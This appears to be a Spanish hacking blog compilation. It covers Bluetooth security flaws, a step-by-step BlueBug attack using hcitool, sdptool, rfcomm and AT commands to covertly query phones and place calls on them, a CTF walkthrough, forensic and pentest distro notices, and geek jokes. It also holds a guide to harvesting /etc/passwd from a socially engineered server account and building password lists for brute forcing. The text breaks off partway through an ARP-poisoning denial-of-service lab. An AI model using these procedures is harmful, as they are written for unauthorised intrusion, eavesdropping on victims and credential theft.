En el caso del modo 3, la clave maestra es compartida. Es necesario desarrollar un esquema de transmisión de claves mejorado.

No existe autenticación de usuarios. Sólo está implementada la autenticación de dispositivos.

No hay límite de intentos de autenticación.

El algoritmo de cifrado por bloques E0 es muy débil. Más tarde se analiza.

La autenticación es un simple “challenge-response” con hashes. Según esta diseñado, el esquema es vulnerable a ataques “Man in the Middle”.

Los servicios de seguridad son limitados. Servicios de auditoría, de no repudio, etc, no están implementados.


3.2.2. Vulnerabilidades del cifrado.

Dejando aparte de que el cifrado es opcional, veremos que además acaece de varias vulnerabilidades.

El algoritmo de cifrado por bloques E0 es débil. Aunque se perfilaba como relativamente seguro hace pocos años. Su sistema de creación del Stream para el cifrado es mucho más complejo, y soluciona los problemas de reutilización de claves como el que tiene el RC4 del wifi (802.11b).

Sin embargo, como con todos los algoritmos de cifrado, su seguridad va cayendo paulatinamente.

Aunque E0 permite longitudes de clave que van desde 1 hasta 16 bytes (8-128 bits), Jakobbson y Wetzel presentaron un ataque con complejidad matemática de O(2^100) (esto es el equivalente a reducir la longitud de clave efectiva de 128 a 100 bits).

Posteriormente Fluhrer y Lucks presentaron otro ataque que requería desde O(2^73) hasta O(2^84), dependiendo de la cantidad de keystream capturado.

Hasta aquí podríamos decir que las posibilidades de ataque de recuperación de la Clave de Cifrado no eran efectivas, considerando que para conseguir un O(2^73) había que tener unos 14.000 gigas de keystream.

Pero luego los ataques se fueron perfeccionando, hasta que en 2004, Yi Lu y Serge Vaudenay presentaron un nuevo ataque de correlación, que resuelve en O(2^37) con una cantidad de keystream consecutivo de 64 gigas, mejorándolo en el CryptoAsia 2004 a 2^40 operaciones simples solo con los primeros 24 bits de 2^35 frames.


Uso parcial del reloj. Como hemos visto, el reloj del dispositivo maestr es un parámetro de entrada para la generación del Stream de cifrado. Aunque parece que por un fallo de diseño el bit más significativo de su valor es ignorado, permitiendo este hecho entre otras cosas ataques tipo Man in The Middle.


Los datos cifrados pueden ser manipulados. Incluso con el cifrado más fuerte, las caracteristicas de los cifrados de Stream permiten que los datos interceptados en un ataque Man in The Middle puedan ser convenientemente manipulados dependiendo de la cantidad de texto cifrado conocida. Así es posible por ejemplo manipular cabeceras IP.



3.3. Vulnerabilidades de la seguridad.

Son debidas principalmente a prácticas de codificación erróneas en el desarrollo de los servicios RFCOMM, al desconocimiento de los protocolos de seguridad BlueTooth y demás (OBEX), y a la reutilización de servicios antiguos para protocolos diferentes.


3.3.1. Permisos IrMC

• IrMC define los permisos de acceso para los objetos comunes
• Hay objetos visibles aunque el servicio sea “no emparejado”
• Servicios abiertos intencionadamente.


3.3.2. Errores de pila

• Buffers Overflows.
• Fallos en la implementación de servicios como en el chequeo de la longitud de datos o la integridad de paquetes en OBEX, o terminaciones NULL.


3.3.3. Servicios ocultos.

• Servicios con los más altos privilegios se dejan abiertos pero escondidos.
• Canales traseros para hacerle la vida más fácil a otros dispositivos.
• Acceso completo al comando AT, y por lo tanto a todo el dispositivo.


En el siguiente apartado, el 3.4, veremos los comandos necesarios para manipular sin restricciones un móvil BlueTooth, y veremos como hacerlo a través del IrD. Empieza la parte práctica.

4.2 Ataques BlueBug con comandos AT

Después de haber visto toda la teoría referente a la estructura del protocolo Bluetooth y, habiéndonos centrado en lo relativo a la Seguridad, a continuación pasamos a documentar algunas técnicas, herramientas y aplicaciones basadas en la inserción de comandos AT que permiten llevar a la práctica aspectos de la Inseguridad en Bluetooth.

Estos ataques crean una conexión al dispositivo, dando acceso completo al comando de configuración AT.

Nos permiten básicamente las posibilidades de:

- Control de las llamadas.
- Mandar/leer/borrar SMS.
- Leer/grabar entradas de la agenda.
- Desviar/realizar llamadas de voz/datos.

Por ejemplo, podríamos espiar las conversaciones mantenidas en una reunión. Haciendo que el teléfono de la victima realice una llamada silenciosa a nuestro teléfono, o a cualquier teléfono de cualquier parte del mundo, creamos un canal de comunicación vía GSM que nos permitirá escuchar toda la conversación de la reunión.

Podríamos también instalar una pasarela en el teléfono de la victima, redirigiendo sus llamadas a nuestro teléfono, teniendo así la posibilidad de escuchar y grabar sus conversaciones sin su conocimiento. O podríamos mandar un SMS desde nuestra Laptop a través de su teléfono, haciendole creer al destinatario que los mando la victima. Es posible incluso hacer que el mensaje no se grabe en enviados

Todo esto es debido a que la implementación de los mecanismos de seguridad suele ser muy pobre. Además contamos con varios servicios no documentados o abiertos en los canales RFCOMM.

Hemos dividido esta parte de ataques Bluebug en varios escenarios distintos.

Para cada uno de los distintos escenarios, hemos documentado varios ataques que hacen uso de técnicas y herramientas que permiten explotar vulnerabilidades en teléfonos móviles GSM desde diferentes plataformas: PC, teléfono móvil y PDA.

Por supuesto, previamente al ataque debe tener lugar la detección, scaneado y enumeración de dispositivos Bluetooth en el ámbito de acción del atacante, con el fin de conocer más el sistema a comprometer.


4.2.1. Escenario 1. Desde PC [Linux]

El ataque que se va a documentar a continuación tiene lugar en el siguiente escenario:

Plataforma atacante: Distribución Linux, en este caso Ubuntu, y adaptador BlueTooth.
Plataforma comprometida: Un teléfono móvil que incorpore Bluetooth.





Recordamos que en dispositivos para el PC, sin ninguna modificación en el hardware, la distancia máxima aproximada será de 100 m.

Hemos elegido este modelo porque lo tiene mucha gente y lo que se trata es de poder llevar a la práctica la teoría.

Quede constancia de que en principio la Ngage no es vulnerable, o así viene definida por el fabricante y no hemos encontrado documentación que la catalogue entre los dispositivos vulnerables.
Aún así, hemos podido constatar que no está tan protegida como se cree.

Puede que vuestra Ngage no sea vulnerable a alguno/s de los bugs comentados en este capítulo, ya que depende mayormente del firmware y puede que ya este parcheada.


4.2.1.1. Requisitos previos.

Lo primero sería conectar nuestro adaptador Bluetooth USB al PC y activar el Bluetooth de nuestra Ngage en modo NO oculto o visible.






4.2.1.2 Obtener los canales de transmisión.

Como venimos explicando anteriormente, tenemos que realizar una detección de datos del dispositivo a atacar. Vamos a comprobar que canales del protocolo RFCOMM usa nuestra Ngage para transmitir datos mediante Bluetooth.

Para ello necesitaremos instalar los siguientes paquetes en nuestro Linux:

• Bluez-utils
• Bluez-pin

Una vez instalados estos paquetes hacemos un escaneo de dispositivos para comprobar que detectamos la Ngage. Para ello abrimos un terminal en Linux, nos identificamos como root y tecleamos:

Código:
hcitool scan

Esto nos devolverá algo parecido a:

Código:
Scanning ...
00:60:57:D0:F9:15 Ngage

Lo que quiere decir que ha detectado un dispositivo con Bluetooth llamado Ngage y su dirección Mac es 00:60:57:D0:F9:15.

Una vez que sabemos la Mac de nuestra Ngage podemos usar la utilidad sdptool para obtener datos sobre el móvil. La sintaxis de esta utilidad es:

Código:
sdptool browse 

Al usar este comando la respuesta que nos mostrara será algo como esto:

Código:
zaerik@ubuntu:~ $ sdptool browse 00:60:57:D0:F9:15
Browsing 00:60:57:D0:F9:15 ...
Service Name: Fax
Service RecHandle: 0x10000
Service Class ID List:
"Fax" (0x1111)
"Generic Telephony" (0x1204)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 1
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"Fax" (0x1111)
Version: 0x0100

Service Name: Dial-up Networking
Service RecHandle: 0x10001
Service Class ID List:
"Dialup Networking" (0x1103)
"Generic Networking" (0x1201)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 1
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"Dialup Networking" (0x1103)
Version: 0x0100

Service Name: Bluetooth Serial Port
Service Description: Bluetooth Serial Port
Service Provider: Symbian Ltd.
Service RecHandle: 0x10004
Service Class ID List:
"Serial Port" (0x1101)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 3
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100

Service Name: OBEX Object Push
Service RecHandle: 0x10005
Service Class ID List:
"OBEX Object Push" (0x1105)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 9
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"OBEX Object Push" (0x1105)
Version: 0x0100

Service Name: OBEX File Transfer
Service RecHandle: 0x10006
Service Class ID List:
"OBEX File Transfer" (0x1106)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 10
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"OBEX File Transfer" (0x1106)
Version: 0x0100

Service Name: Handsfree Audio Gateway
Service RecHandle: 0x10007
Service Class ID List:
"" (0x111f)
"Generic Audio" (0x1203)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 2
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"" (0x111e)
Version: 0x0100

Lo que quiere decir que nuestra Ngage tiene activos los canales 1,2, 3, 9 y 10 del rfcomm para transmitir datos mediante Bluetooth emulando una conexión RS232.




Bien, vamos a recordar algo más sobre la pila de protocolos de BlueTooth.





El RFCOMM nos permite una emulación de cable serie RS-232 entre dispositivos. Podemos conectar varias decenas de dispositivos entre sí, mediante diferentes conexiones a RFCOMM.

Como vemos en el gráfico, los comandos AT van hacia el L2CAP a través de los canales del RFCOMM, al igual que los comandos del OBEX y demás, por eso tenemos diferentes canales que nos dan diferentes funcionalidades.


4.2.1.3. Comandos AT en la Ngage

Hay muchos mas comandos AT, pero en las pruebas solo nos aceptaba algunos (es como si estuviese parcheada contra ciertas cosas), quizás si tenéis una Ngage con un firmware diferente al de las pruebas consigáis algo mas.

Para este apartado necesitaremos instalar los siguientes paquetes:

• rfcomm
• cu

4.2.1.4. Enlazar rfcomm1 con la Mac de la Ngage por el canal 1.

Como hemos visto, el canal que a priori van a permitirnos hacer llamadas y cosas de telefonía es el 1, "Generic Telephony".

Abrimos una terminal como root y ejecutamos el comando:
Código:
rfcomm bind /dev/rfcomm1  1


4.2.1.5 Conectamos a rfcomm1 para poder enviar comandos AT

Ahora abrimoss un terminal como usuario normal y ejecutamos el comando:
Código:
cu -l rfcomm1 -s 9600

Entonces la Ngage nos pedirá un PIN para conectar con el PC, y escribimos un numero cualquiera, ahora nos pedirá el PIN en el PC y escribimos el mismo código con lo que en la Ngage nos aparecerá un mensaje confirmando que aceptamos la conexión con el PC.
Cuando aparezca este mensaje pulsamos la opción Si.


Ahora en el terminal de Linux nos aparecerá algo así




Y ahí podremos escribir directamente los comandos AT que ejecutaran diferentes acciones en la Ngage.


4.2.1.6 Obtener información básica de la Ngage

En el terminal anterior simplemente escribimos los siguientes comandos AT:

• ATI - Devuelve la marca del móvil.
• AT+CGMM – Devuelve modelo de móvil.
• AT+CGMR – Devuelve la versión del firmware de nuestro móvil.





Estos comandos no mostraran nada en la Ngage, es decir el dueño no se dara cuenta de lo que estamos haciendo.


4.2.1.7. Obtener Imei

Para esto se usa el siguiente comando AT:

• AT+CGSN





Este comando tampoco mostrara nada en la Ngage.

4.2.1.8 Hacer que llame al número que nosotros queramos

Hasta aquí todo parece de lo más normal y poco peligroso, pero ahora veremos como nos permite hacer una llamada desde el PC através de móvil.
Para esto se usa los siguientes comandos AT:

• ATD12345 – Este comando hara que la Ngage haga una llamada de datos al numero “12345”.
• ATD12345; – Este comando hara que la Ngage haga una llamada de voz al numero “12345”.





En la Ngage veremos esto:



Llamada de datos


Llamada de voz


4.2.1.9 Otros comandos AT

Por ultimo decir que además de los comandos AT que hemos usado en los tres últimos puntos hay muchos más, lo que pasa es que no todos son aceptados por la Ngage, puede que vuestra Ngage acepte mas comandos AT, ya que esto depende de la versión de firmware que tenga. Si queréis probar mas comandos AT os recomiendo que os leáis el punto del taller Bluetooth donde se habla de ellos.

4.1. Localización y enumeración de dispositivos BlueTooth.

4.1. Ataques de localización y enumeración.

Las cabeceras BlueTooth no están cifradas, lo que nos permite muchas posibilidades de ataque a la capa LM.
Para realizar estos ataques vamos a centrarnos en las capas más altas de la pila de protocolos y sacar ventaja de ellas permitiéndonos entre otras cosas.

- Localizar dispositivos BlueTooth en modo “visible”.
- Localizar dispositivos BlueTooth en modo “no visible”.
- Enumerar información de sus servicios.

Todos los ejemplos de este apartado están realizados en un Nokia Ngage y con Ubuntu.


4.1.1. Modo “visible”.

Si los dipositivos están en modo visible, simplemente escaneando con la herramienta hcitool de las librerias Bluez nos muestra todos los dipositivos visibles a nuestro alcance.





4.1.2. Modo “no visible”.

Un gran número de vendedores desactivan todas las medidas de seguridad y marcan el dispositivo como “no visible”, creyendo que si está oculto, estará seguro.

Aplicando principios generales del funcionamiento de las redes, y las especificaciones del protocolo, nos damos cuenta que los dispositivos no visibles responden, como no podía ser de otra manera, a una llamada directa y a las peticiones enviadas al servicio inquiry.

Aquí vemos como el scan no nos muestra el dispositivo, pero sin embargo si referenciamos la MAC directamente si nos contesta las peticiones.





4.1.2.1. Obtención de MAC por fuerza bruta.

Los vendedores esgrimen que el tiempo de localización de la BD_ADDR (dirección MAC) es inviable, una media de 11 horas, pero herramientas multihilo, como RedFang puede utilizar simultáneamente 8 adaptadores BlueTooth USB, reduciendo el tiempo a unos 90 minutos.


4.1.3. Enumeración de servicios.

Ahora ya tendríamos localizados todos los dispositivos BlueTooth con los que podemos “contactar”, y seremos capaces de averiguar lo siguiente:

- La dirección BlueTooth (p.e. MAC)
- Clase de dispositivo.
- Tipo de dispositivo.
- Nombre del dispositivo.

Para la extracción de toda esta información necesitamos seguir una serie de pasos, por los que iremos ascendiendo a través de la pila de protocolos, desde el HCI (nivel Link) hasta el SDP (aplicación), para ir recogiendo la información.

4.1.3.1 HCI (Con HCItool)

El primer paso es obtener la clase de dispositivo, que nos indicará sus capacidades.


Luego el parámetro info de hcitool nos revelará toda la información posible que nos pueda dar el esta parte del protocolo BlueTooth.




4.1.3.2 SDP (con SDPtool)

Ahora cambiamos al protocolo SDP, que nos revelará los servicios de interface y aplicaciones del dispositivo, como puerto de serie, FTP, interface de red, inbox, fax, etc.
También nos permitirá buscar un servicio, añadirlo, borrarlo, etc.




4.2.2. Desde PC [Windows]

El siguiente artículo adapta el ataque Bluebug a un entorno Windows XP.
Las pruebas se han llevado a cabo con un Nokia 6820.

4.2.2.1. Requisitos previos.

Lo primero es insertar el dispositivo USB Bluetooth en nuestro equipo e instalarlo para que Windows pueda trabajar con él.
Por parte del teléfono móvil a comprometer, este debe tener Bluetooth activado.
Por último, recomendamos que los dos dispositivos (PC y teléfono) se encuentren previamente emparejados.


4.2.2.2. Detectar el teléfono móvil Bluetooth.

Desde Mis Sitios de Bluetooth, procedemos a buscar dispositivos con la acción Buscar dispositivos a mi alcance.




4.2.2.3. Detectar servicios Bluetooth en el teléfono móvil.

Seleccionamos el objeto Nokia 6820 y ejecutamos la acción Detectar servicios.




4.2.2.4. Establecimiento de conexión con el Puerto Serie COM1.

De entre todos los servicios disponibles en el teléfono móvil, seleccionamos el servicio de Puerto Serie COM1 y creamos una conexión.



El teléfono móvil pedirá aceptación de conexión con el dispositivo PC y, en caso positivo, aparecerá el siguiente mensaje en nuestra pantalla.



Este mensaje nos advierte que cualquier aplicación PC puede acceder a la conexión establecida con el teléfono móvil utilizando el Puerto COM4 del PC.




4.2.2.5. Envío de comandos AT al teléfono móvil a través de Hyperterminal.

Ahora que ya sabemos cual es el puerto COM que permite al PC comunicarse con el teléfono móvil, iniciamos la aplicación Hyperterminal y creamos una nueva conexión a través del puerto COM4.



A partir de este momento, ya seremos capaces de enviar comandos AT al teléfono móvil a través de Hyperterminal.




Descargar documento: http://www.geocities.com/unrayodesoul/Ataque.Bluebug.desde.Windows.by.Gospel.pdf


4.2.3. Desde PC [Anexo Windows, otra forma de hacerlo...]

En el post anterior se explicaba como mandar comandos AT desde windows utilizando el driver de vuestro Bluetooth-usb proporcionado por el fabricante.

En este post explicaré cómo mandar comandos AT a un Nokia 3650 utilizando los drivers Bluettoth que ofrece el Service Pack 2 de Windows XP. Por ello es necesario tener instalado SP2.


4.2.3.1. Agregando el dispositivo Bluetooth

Comenzaremos por pinchar nuestro dispositivo a una ranura libre usb y esperaremos a que aparezca un icono azul con el logo de Bluetooth en la bandeja de sistema...
Una vez localizado pincharemos con el botón derecho y seleccionaremos "Abrir la configuración Bluetooth":



En la ventana que aparecerá a continuación pincharemos en Agregar y en la ventana con título "Asistente para agregar dispositivos Bluetooth", marcaremos la casilla "Mi dispositivo está configurado y listo para ser detectado." y pulsaremos en Siguiente.

Una vez detectado lo seleccionaremos y pincharemos en Siguiente:




4.2.3.2. Conocer el puerto COM para mandar comandos AT

Tras haber esperado un rato para que windows configure el dispositivo, lo siguiente que deberemos averiguar es el puerto COM que ha configurado para mandar comandos AT.

Esto lo descubriremos seleccionando el móvil recién configurado en la ventana "Dispositivos Bluetooth" y pinchando en Propiedades.
En la siguiente ventana con las propiedades del móvil, seleccionaremos la pestaña Servicios y nos fijaremos en el puerto COM que tenga asignado "Acceso telefónico a redes (DUN)"
En caso de que no estuviera marcada su casilla correspondiente, la marcaríamos.



En este caso es el puerto COM9.

La verdad es que deberían salir más servicios de los que muestra esa pestaña, pero para este caso nos vale con que se muestre el DUN.
Para una lista detallada de los servicios teneis que utilizar la utilidad "sdptool" para linux, explicada en otro post.


4.2.3.3. Utilizar HyperTerminal para mandar comandos AT

Una vez que sabemos el puerto COM ejecutaremos el programa HyperTerminal de Microsoft (Inicio/Ejecutar "hypertrm.exe") y crearemos una nueva conexión con el nombre que queramos.

En la siguiente ventana titulada "Conectar a" deberemos seleccionar el puerto COM de antes en la lista desplegable "Conectar usando:"

En el momento que pulsemos aceptar, el 3650 nos informará de si deseamos aceptar una nueva conexión procedente de nuestro PC y aceptaremos.
En este momento ya podremos mandar y probar comandos AT en nuestro móvil...

Agradecimientos a godspel por sus textos , para los que les guste el hacking por bluetooth les recomiendo que visiten el blog de godspel


http://elblogdegospel.blogspot.com

Tambien visiten elhacker.net

sAludos


0 comentarios
http://isatcis.com/number8.htm

nivel 1 isatcis

0 comentarios
Grid 3 Accent 4"> Vamos a comenzar con los retos:

Para empezar nuestro primer nivel pinchamos enter .

Nos saldra la pagina donde nos pedira entrar el password.

En este momento no podremos hacer nada porque no conocemos algún dato :P , sabemos que no tiene ninguna conexión a bases de datos ni nada por el estilo, por eso no va a funcionar algún ataque de SQL Inyección , tampoco podemos utilizar un ataque D.O.S , bueno entonces que hacemos :S.

Vamos a recurrir a lo más básico del mundo, ver el código fuente de la pagina web.

Le damos en cancelar y nos mostrara un aviso que nos informa lo siguiente “acceso denegado” ,esto para nosotros no significara nada, sigamos con lo nuestro que ya nos encargaremos de ese “acceso denegado” después .

Ahora si lo bueno!, en mi caso uso mozilla por seguridad y muchas cosas mas, pero esto es otro cuento xD, le damos click en la barra de menú a la opción de ver , luego en ver código fuente de la pagina y nos mostrara lo siguiente

Si miramos detenidamente encontramos una validación en javascript donde nos indica que si passwort es igual a easy nos mande al segundo nivel , es todo ya tenemos que el password que debemos introducir para el siguiente nivel es easy .

By bad-robot

Tuto en pdf y con imagenes

http://www.mediafire.com/download.php?mfnmgz2gfdz

Saludos
0 comentarios
Apartir de Hoy vamos a empezar con los retos de http://isatcis.com/ , a medida de que vamos avanzando iremos resolviendo dudas y publicando las soluciones correspondientes.

Esta es mas o menos la pagina principal donde explican la metodologia del reto y demas cosas.

lcarscom
STARFLEET ACADEMY


Welcome to the

Independent Starfleet Academy Training Center for Internet Security (ISATCIS).




# of users passed the levels:


saludos y estaremos pendientes a quienes nos sigan en los retos :D

Helix 3 Released [Version 2008R1(2.0)] - Forensics live CD

0 comentarios

Helix, the easy-to-use, fast and powerful live cd has everything you need for your live forensics, incident response and e-dsicovery requirements.


What is Helix
Helix is a customized distribution of Ubuntu Linux. Helix is more than just a bootable live CD. You can still boot into a customized Linux environment that includes customized linux kernels, excellent hardware detection and many applications dedicated to Incident Response and Forensics.
Helix has been modified very carefully to NOT touch the host computer in any way and it is forensically sound. Helix wil not auto mount swap space, or auto mount any attached devices. Helix also has a special live side for Incident Response and Forensics.
Helix focuses on Incident Response & Forensics tools. It is meant to be used by individuals who have a sound understanding of Incident Response and Forensic techniques.

System Requirements
• Windows 2000 or later
• Mac OS X (Intel)
• Linux

Download Helix ISO (700 Mb)

Official Web Site


Link relacionados:
- Security Distros


referencia:http://seguridad-informacion.blogspot.com/2008/09/helix-3-released-version-2008r120.html

Samurai - Web Testing Framework LiveCD

0 comentarios
Samurai es un Web Testing Framework live CD que es utilizado parte de las herramientas de pruebas de vulnerabilidades (Web penetration testing live CD built on open source software).
El CD contiene distintas herramientas especialmente seleccionadas para web penetration testing .


Web del proyecto


referencia:http://seguridad-informacion.blogspot.com/2008/09/samurai-web-testing-framework-livecd.html

mas humor para relax :D

1 comentarios

¿Que pasaría si Bart Simpson fuera un programador?

Algo así:

----------------------------------------------------------------------------------------------

Dice:

Ingrese una nueva contraseña

PENE

Lo siento, su contraseña no es lo suficientemente larga….

-------------------------------------------------------------------------------------------


Mi traducción:

La excusa #1 de los programadores para haraganear (¿Se escrinbe asi?, gracias “Caso patologico”)

“mi codigo se esta compilando”

- Hey! Vuelvan a trabajar!

- Compilando!

- Oh. Vamos. Oh. Continúen entonces


---------------------------------------------------------------------------------------

20 señales de que podrias ser un geek
  1. Coleccionas mensajes Spam divertidos.
  2. Hablas con las computadoras, no porque estés aburrido sino porque temes estarlo.
  3. En tu casa hay 4 computadoras por cada persona.
  4. Estas libre de las lineas de bronceado.
  5. Cuando te hablan de un “torneo” inmediatamente piensas: “Lan Party”.
  6. Has perdido gran parte de tus habilidades de sociales.
  7. De todas formas nunca las has usado.
  8. Hablas con un lenguaje criptico, solo entendible por otros geeks
  9. Ningún “sello de garantía” esta seguro en su presencia.
  10. Tienes una caja llena de cables de repuesto que nunca usas.
  11. No puedes ser convencido de salir sin dicha caja.
  12. Quieres ser enterrado con tu monitor CRT Trinitron de 21 pulgadas.
  13. Entiendes porque ‘42′ y ‘AYBABTU’ son divertidos.
  14. Todavía te reís del punto 13.
  15. Le tienes miedo al teléfono.
  16. Estas libre todos los viernes por la noche. Libre para jugar tu MMORPG preferido.
  17. Tus amigos no Geeks no tienen idea de que es lo que haces para vivir.
  18. Estar en el medio del bosque, de campamento, sin electricidad ni WIFI es una pesadilla para ti, y no unas vacaciones.
  19. Tienes 30 cuentas de correo. Y las compruebas periódicamente.
  20. Entiendes mas a las computadoras que a las personas.


--------------------------------------------------------------------------------------------

Si los sistemas operativos fueran automoviles

¿Que pasaría si los sistemas operativos fueran automóviles? Veanlo ustedes mismos:

No comparto la idea, pero no pueden negar que es gracioso.


---------------------------------------------------------------------------------------

Chino para Geeks

Primer lesión de chino para Geeks:


-----------------------------------------------------------------------------------------

10 razones para no ser geek

Si leíste las 20 señales de que podrías ser geek, y empiezas a hacerte la idea, ten presente este top 10 de razones por las que NO deberías ser Geek:

Razón #1 - No tienes identidad

Razón #2 - Tienes una vida de alienígena

Razón #3 - Posees, para tus clientes y amigos no-geeks, responsabilidades ilimitadas

Razón #4 - Cualquier cosa que digas, hará sentir mal a los demás.

Razón #5 - La gente te pide milagros

Razón #6 - No se te permite tener un momento de paz

Razón #7 - Tu talento forzósamente estará siempre devaluado.

Razón #8 - Eres un experto en Tecnología de cualquier producto que acabe de salir, ¿o no?

Razón #9 - Cada conversación que tu tengas, será casi la misma.

Razón #10 - La mayoría de tus logros, son invisibles.

Las explicaciones de cada ítem (sino los entendiste, tranquilo, no eres geek) las encontrarás en Maldito Weekend.


--------------------------------------------------------------------------------------------

Refranes Geek

Jaja pues visitando Nierox me encontre estos refranes, y creo que son muy cieertos.
  • No hay mail que por Internet no venga.
  • No por mucho megaRAM carga Windows más temprano.
  • Geek que ladra no programa.
  • Cuando el rió suena es porque los bloggers postean.
  • Mas vale post en blog que cientos de spam.
  • Mas vale post publicado que cientos preparados.
  • El que mucho programa poco analiza (o este que sería un similar: El que mucho postea poco investiga).
  • Browser que no ve, CSS que no interpreta.
  • No postees mañana lo que puedes publicar hoy.
  • A contactos necios, estado: No Admitido.
  • Al idiota, bloc de notas.
  • Amigo desaparecido, te tiene no admitido.
  • A programa pirateado no le funcionan los pluggins.
  • Amigo que un .exe te adjunta, mala junta.
  • Historial ayer borrado, anteayer hubo pecado.
  • Esposa con blog no hace la comida.
  • La esposa en el chat, el marido en PizzaHut.
  • Chatea a diario con menores, y usarás emoticones.
  • Tarde o temprano, el último comentario es spam.
  • Tanto va el webmaster a la fuente, que al final Verdana.
  • A programa pirateado no se le miran las fuentes.
  • La prisa es el enemigo de la conexión.
  • Antes solo que en chats aburridos.
  • Cuando se administra el archivo no se ve el formato.
  • Dime con quien chateas y te diré quien eres.
  • No llores sobre el archivo borrado.
  • En la tierra Off-Line el que tiene una 486 es el rey.
  • Mas vale una película no-HD que dos bajando.
  • Mouse sucio se limpia en el hogar.
  • Mas vale prevenir que formatear.
  • Quien nunca cometió un error que apreté la primera tecla.
Fuente y agradecimientos por el rato :chistesgeeks.com

Jugando con /etc/passwd (Sistemas Linux/Unix con con shadow)

0 comentarios
La idea de este post, es complementar en parte lo que escribió hace poco DeadSector, sobre "los 10 passwords mas populares".
Lo que a continuación expongo puede que no tenga demasiada utlidad, sobre todo para los que tienen conocimientos en verdad avanzados... pero creo que ilustra como utlizar el sistema Linux/Unix para los que somos novatos... así que puede considerarse introductorio.

Situación: Mediante ingenieria social, ha conseguido una cuenta, no con demasiados privilegios en un servidor (de una universidad por ejemplo)... entra al sistema, lo primero que debe hacer es asegurar que pueda seguir entrando... una manera de hacerlo sería conseguir más cuentas de usuario, ¿y porque no? quien quita y pega, hasta logra consiguir una cuenta con privilegios (por ejemplo cuentas que puedan compilar, habitual para los grados en los que llevan programacion y cosas por el estilo, a menudo gente inexperta que lo ultimo que piensa es en la seguridad de sus contraseñas)... sin embargo no hay acceso de lectura al /etc/shadow (obvio) ó al /etc/master.passwd para sistemas BSD... no todo está perdido:

1.- cat /etc/passwd > mis_favoritos.txt

Si no tenemos gran información en passwd, es probable que el sistema esté utlizando NIS/YP; para ello tendran que utlizar:

[1.- ypcat passwd > mis_favoritos.txt]

2.- El archivo lo hace llegar a su sistema en casa (Si de verdad está aprendiendo el arte del hacking, o admirandolo, como en mi caso, seguro tendrá un sistema tipo Unix/Linux en casa)

3.- Hora de jugar, ya en servidor de casa:
Código:
develop# cat mis_favoritos.txt | awk -F ":" '{print $1}' > logins
develop#cat mis_favoritos.txt | awk -F ":" '{print $5}' >nombreReal
4.- Ya con el archivo nombreReal, es hora de generar posibles contraseñas:
por ejemplo:
Código:
develop#cat nombreReal | awk -F " " '{print $1}' > primerNombre
develop# tr "[:lower:]" "[:upper:]" <> nombresMayusc
develop# tr "[:upper:]" "[:lower:]" <> nombresMinusc
5.- Los archivos generados (obvio, trate de hacer lo que se les ocurra, por ejemplo: tomar las 2 primera sílabas de cada palabra que integra el nombre completo y jugar con ellas, concatenarlas con números... etc, etc) servirán para utilidades que ayuden a realizar ataques de fuerza bruta, por ejemplo:
THC-Hydra, Medusa... e incluso algunos que hay para sistemas Windows, me gustaría detallar el uso de THC - Hydra, pero por ahora se me acabó el tiempo... ojalá les sea de utilidad a unos y que mejoren esto con sus experiencias otros...

Fuente:http://foros.raza-mexicana.org/showthread.php?t=169

intrusion en computadoras en lan

0 comentarios
Practica 1 - Negación de servicios de Internet a otro equipo de la red local


Teoría:

El equipo víctima accede a Internet a través del router. Y a su vez, accede al router pq conoce su dirección IP, q es traducida a dirección MAC a través del protocolo ARP. Por tanto, en última instancia, el equipo víctima accede a Internet mandando paquetes hacia la dirección MAC del router. Si el equipo atacante logra engañar al equipo víctima, haciendole creer q la dirección MAC del router es otra inexistente, el equipo víctima no podrá llegar al router, esto es, no podrá llegar a Internet. Para llevar esto a cabo, el equipo atacante debe enviar un paquete malicioso suplantando la identidad del router y diciéndole al equipo víctima q debe actualizar su tabla ARP con la nueva dirección MAC inexistente.


Aplicación práctica:

Envenenamiento ARP


Escenario:

Atacante: 10.10.0.69
Víctima: 10.10.0.254
Router / Puerta de Enlace: 10.10.0.33


Herramientas:

Vamos a utilizar el inyector de paquetes Némesis @ http://www.packetfactory.net/projects/nemesis/
Más información sobre Nemesis en http://foro.elhacker.net/index.php/topic,33197.0.html


Procedimiento:

1º Obtener las direcciones MACs de los equipos víctima y router a través de sus direcciones IP. Para ello, hacemos un ping a ambos equipos.

2º Obtener la tabla caché ARP de direcciones IP/MAC en el equipo atacante. Esto se hace a través del comando arp -a


Citar
C:\>arp -a

Interfaz: 10.10.0.69 --- 0x2
Dirección IP Dirección física Tipo
10.10.0.33 00-c0-49-44-b1-d5 dinámico
10.10.0.254 00-20-18-b0-06-df dinámico

C:\>

3º Obtener la tabla caché ARP de direcciones IP/MAC en el equipo víctima. Esto es lo q supuestamente ocurriría en el equipo víctima...


Citar
C:\WINDOWS\system32>arp -a

Interfaz: 10.10.0.254 --- 0x2
Dirección IP Dirección física Tipo
10.10.0.33 00-c0-49-44-b1-d5 dinámico
10.10.0.69 00-05-1c-0a-ab-92 dinámico

C:\WINDOWS\system32>

4º Verificar que la víctima tiene conexión a Internet. Esto es lo q supuestamente ocurriría en el equipo víctima...


Citar
C:\WINDOWS\system32>ping www.google.es -t

Haciendo ping a www.google.akadns.net [66.102.11.99] con 32 bytes de datos:

Respuesta desde 66.102.11.99: bytes=32 tiempo=93ms TTL=241
Respuesta desde 66.102.11.99: bytes=32 tiempo=113ms TTL=237
Respuesta desde 66.102.11.99: bytes=32 tiempo=110ms TTL=237
etc.

